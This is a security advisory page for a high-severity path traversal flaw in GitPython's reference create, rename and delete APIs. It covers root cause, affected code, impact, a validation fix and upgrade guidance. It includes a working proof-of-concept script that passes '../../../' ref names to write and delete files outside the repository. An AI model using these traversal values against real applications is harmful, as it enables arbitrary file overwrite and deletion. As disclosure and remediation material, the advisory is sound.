GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repositoryGHSA-7545-fcxq-7j24
HIGHGHSA-7545-fcxq-7j24 is a high-severity (CVSS 7.1) Path Traversal vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7545-fcxq-7j24.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
🧾 Summary
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.
📦 Affected Versions
- Affected:
<= 3.1.46and currentmain(3.1.47in local checkout)
🧠 Details
Vulnerability Type
Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion
Root Cause
Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.
SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.
Affected Code
def set_reference(self, ref, logmsg=None):
...
fpath = self.abspath
assure_directory_exists(fpath, is_file=True)
lfd = LockedFD(fpath)
fd = lfd.open(write=True, stream=True)
...
@classmethod
def delete(cls, repo, path):
full_ref_path = cls.to_full_path(path)
abs_path = os.path.join(repo.common_dir, full_ref_path)
if os.path.exists(abs_path):
os.remove(abs_path)
def rename(self, new_path, force=False):
new_path = self.to_full_path(new_path)
new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
...
os.rename(cur_abs_path, new_abs_path)
Attack Vector
Local attack through application-controlled input passed into GitPython reference APIs
Authentication Required
None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.
🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py
Exploit
import shutil
from pathlib import Path
from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference
base = Path("gp-ghsa-poc").resolve()
if base.exists():
shutil.rmtree(base)
repo_dir = base / "repo"
repo = Repo.init(repo_dir)
(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")
outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")
print(f"repo_dir = {repo_dir}")
print(f"outside_write = {outside_write}")
print(f"outside_delete = {outside_delete}")
Reference.create(repo, "../../../outside_write.txt", "HEAD")
print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
print("[+] outside_write content:")
print(outside_write.read_text(encoding="utf-8"))
SymbolicReference.delete(repo, "../../../outside_delete.txt")
print("\n[+] outside_delete exists after delete:", outside_delete.exists())
Result
repo_dir = ...\gp-ghsa-poc\repo
outside_write = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt
[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>
[+] outside_delete exists after delete: False
💥 Impact
What can an attacker do?
- Create or overwrite files outside the repository metadata directory
- Delete attacker-chosen files reachable from the process permissions
- Corrupt application state or configuration files
- Cause denial of service by deleting or overwriting important files
Security Impact
- Confidentiality: Low
- Integrity: High
- Availability: High
Who is affected?
- Applications that expose GitPython reference operations to user-controlled input
- Git automation services, repository management backends, CI/CD helpers, and developer platforms
- Multi-user environments where one user can influence ref names processed on behalf of another workflow
🛠️ Mitigation / Fix
Recommended Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
SymbolicReference._check_ref_name_valid(path)
base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
target = (base / path).resolve()
if base not in [target, *target.parents]:
raise ValueError(f"Reference path escapes repository boundary: {path}")
return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.48pip install --upgrade 'gitpython==3.1.48' |
Affected Products
gitpythongitpython_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.48 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7545-fcxq-7j24 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This flaw in GitPython is rated as Moderate as it allows an attacker to perform arbitrary file write, overwrite, move, or delete operations outside of a Git repository. This is possible by supplying a crafted reference path to an application that uses GitPython, leading to potential unauthorized modification or…
Applications using GitPython should validate and sanitize all reference path inputs before passing them to GitPython's reference creation, rename, and delete APIs. Specifically, reject any reference path containing path traversal sequences such as "..". In Red Hat products, exploitation requires the ability to supply a crafted Git reference name to an application using GitPython — environments that do not expose GitPython reference operations to untrusted user input are not susceptible to this attack. Updating to GitPython 3.1.48 or later fully resolves this issue.Source: Red Hat security advisory for GHSA-7545-fcxq-7j24 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-7545-fcxq-7j24 in your dependencies?
Find it across PyPI, including transitive dependencies.